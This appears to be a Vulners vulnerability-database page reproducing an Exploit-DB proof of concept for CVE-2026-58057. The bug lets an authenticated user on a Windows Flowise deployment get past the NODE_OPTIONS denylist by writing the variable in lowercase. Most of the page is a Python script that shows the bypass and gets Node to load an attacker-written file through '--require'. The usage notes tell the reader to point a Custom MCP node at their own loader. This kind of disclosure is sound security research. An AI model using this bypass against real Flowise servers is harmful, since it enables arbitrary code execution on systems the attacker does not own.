Lucene search
K

Flowise 3.1.3 - arbitrary code execution

🗓️ 07 Jul 2026 00:00:00Reported by banyamerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 9 Views

Flowise on Windows 3.1.3 enables authenticated remote code execution via node_options bypass.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-58057
28 Jun 202601:32
attackerkb
Circl
CVE-2026-58057
28 Jun 202605:54
circl
CVE
CVE-2026-58057
28 Jun 202601:32
cve
Cvelist
CVE-2026-58057 Flowise - Custom MCP Environment Variable Denylist Bypass via Case Sensitivity
28 Jun 202601:32
cvelist
EUVD
EUVD-2026-39977
28 Jun 202601:32
euvd
NVD
CVE-2026-58057
28 Jun 202602:16
nvd
Packet Storm
📄 Flowise 3.1.3 Arbitrary Code Execution
7 Jul 202600:00
packetstorm
Positive Technologies
PT-2026-53089
28 Jun 202600:00
ptsecurity
Vulnrichment
CVE-2026-58057 Flowise - Custom MCP Environment Variable Denylist Bypass via Case Sensitivity
28 Jun 202601:32
vulnrichment
# Exploit Title:        Flowise  3.1.3 - arbitrary code execution
# CVE:                  CVE-2026-58057
# Date:                 2026-06-29
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://flowiseai.com
# Software Link:        https://github.com/FlowiseAI/Flowise
# Affected:             Flowise < 3.1.3 (Windows deployments)
# Tested on:            Windows + Flowise 3.1.2
# Category:             Remote Code Execution
# Platform:             Windows
# Exploit Type:         Authenticated
# CVSS:                 2.3 (Medium)
# Description:          On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison. 
#                       Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require.
# Fixed in:             3.1.3 (switched to allow-list)
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#   python3 exploit.py --marker C:\\Temp\\pwned.txt
#
# Notes:
#   • Requires authenticated access to configure Custom MCP node
#   • Only affects Windows deployments
#   • Demonstrates bypass + canary RCE
#
# How to Use
#
# Step 1: Run the PoC to validate the bypass
# Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader

import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile

def flowise_style_validate(env):
    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
    for key, value in env.items():
        if key in dangerous:
            raise ValueError(f"Environment variable {key!r} modification is not allowed")
        if "\x00" in key or "\x00" in str(value):
            raise ValueError("Environment variables cannot contain null bytes")

def normalized_validate(env):
    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
    for key, value in env.items():
        if key.upper() in dangerous:
            raise ValueError(f"Environment variable {key!r} modification is not allowed")
        if "\x00" in key or "\x00" in str(value):
            raise ValueError("Environment variables cannot contain null bytes")

def run_node_canary(marker):
    node = shutil.which("node")
    if not node:
        return {"node_found": False, "canary_created": False}
    
    marker_path = pathlib.Path(marker).resolve()
    loader_path = marker_path.with_suffix(".loader.js")
    loader_path.write_text(
        "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n",
        encoding="utf-8",
    )
    
    env = os.environ.copy()
    env.pop("NODE_OPTIONS", None)
    env.pop("node_options", None)
    env["node_options"] = f"--require {loader_path}"
    env["FLOWISE_POC_MARKER"] = str(marker_path)
    
    if marker_path.exists():
        marker_path.unlink()
    
    completed = subprocess.run(
        [node, "-e", "process.exit(0)"],
        env=env,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )
    
    return {
        "node_found": True,
        "node": node,
        "returncode": completed.returncode,
        "stderr": completed.stderr.strip(),
        "marker": str(marker_path),
        "canary_created": marker_path.exists(),
        "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
    }

def run(marker):
    exact_upper_blocked = False
    lower_variant_accepted = False
    normalized_blocks_lower = False
    
    try:
        flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
    except ValueError:
        exact_upper_blocked = True
    
    try:
        flowise_style_validate({"node_options": "--require accepted.js"})
        lower_variant_accepted = True
    except ValueError:
        lower_variant_accepted = False
    
    try:
        normalized_validate({"node_options": "--require accepted.js"})
    except ValueError:
        normalized_blocks_lower = True
    
    node_result = run_node_canary(marker)
    
    result = {
        "platform": platform.platform(),
        "windows": os.name == "nt",
        "flowise_style_exact_upper_blocked": exact_upper_blocked,
        "flowise_style_lower_variant_accepted": lower_variant_accepted,
        "normalized_validator_blocks_lower_variant": normalized_blocks_lower,
        "node_canary": node_result,
        "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
    }
    
    print(json.dumps(result, indent=2))
    return 0 if result["finding_reproduced"] else 1

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def main():
    banner()
    parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC")
    parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
    args = parser.parse_args()
    raise SystemExit(run(args.marker))

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 42.3
CVSS 3.15
EPSS0.0024
SSVC
9